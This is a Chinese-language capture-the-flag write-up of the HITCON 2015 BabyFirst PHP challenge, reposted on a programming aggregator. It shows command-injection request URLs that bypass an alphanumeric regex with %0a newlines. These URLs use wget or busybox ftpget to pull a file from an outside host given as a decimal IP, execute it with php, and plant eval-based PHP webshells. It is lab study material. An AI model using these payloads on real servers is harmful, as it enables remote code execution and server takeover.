概述
题目地址:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_4/index.php
借上次的docker环境,稍微改了下。本地搭了个环境玩。
代码审计,整个程序的逻辑是为一个客户端创建一个sandbox/clientip
的目录,通过正则表达检查参数值,要求所有的参数仅仅只能为数字和字母。而/bin/orange
最终发现只是/bin/true
的软链接,没有任何的作用。
ip的 . 可以转10进制来绕过。可以用php解析来任意执行,在本地搭建一个web服务,在首页index.php
中写入<?php phpinfo();?>
将本地ip转10进制,用wget或者ftpget来下载文件,下载下来的源码经过php解析了,再php运行。就能任意执行。
可以看到正则匹配/^w+$/输入必须是字母或者数字,那么空格可以用%0a绕。
膜一下dalao的wp:https://blog.spoock.com/2017/09/09/Babyfirst-writeup/
在本地192.168.158.1
的index.html
中写入:
1 2 3 4 5 6 7 | file_put_contents('shell.php', ' <?php header("Content-Type: text/plain"); print eval($_POST["cmd"]); ?> '); |
通过以上两个利用点,就可以写入webshell文件了。整个执行流程如下:
1 2 | http://192.168.158.135/?args[]=xxx%0a&args[]=mkdir&args[]=exploit 创建exploit文件夹 http://192.168.158.135/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969 进入exploit文件夹,下载192.168.158.1的index.html文件。 |
此时后台服务器显示的结果如下:
已经成功地将文件下载到本地,接下来就是执行index.html
文件中的内容,执行的方式就是上面所讲到的利用点2。
1 | http://192.168.158.135/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit |
将exploit文件夹打包为archived文件,最后就是php解释执行archived文件了
1 | http://192.168.158.135/?args[]=xxx%0a&args[]=php&args[]=archived |
此时后台服务器的显示结果为:
可以看到已经成功地创建了shell.php
文件
访问shell.php
即可拿到服务器的webshell。
getflag。
看下orange的官方解法:
mkdir orange cd orange wget HEXED_IP tar cvf payload orange php payload
这里利用busybox
这个工具。通过busybox
中的ftpget
的下载命令为:
1 | busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名 |
首先在ftp服务器上面创建一个webshell.php
文件,内容是<?php @eval($_POST[cmd])?>
.
那么执行流程为:
?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=uftp&args[]=%2dp&args[]=123456&args[]=3232275969&args[]=webshell.php
直接从远程的ftp服务器上面下载php文件,此php文件就是一个简单的一句话木马。
成功地下载了webshell.php
文件
访问webshell.php
即可拿到服务器的webshell。
orz每次做orange的这种极限绕过的题都觉得眼界大开,web真是令人发疯着迷orz....
参考链接:https://blog.spoock.com/
最后
以上就是饱满大神为你收集整理的HITCON 2015 BabyFirst(命令执行绕正则)的全部内容,希望文章能够帮你解决HITCON 2015 BabyFirst(命令执行绕正则)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复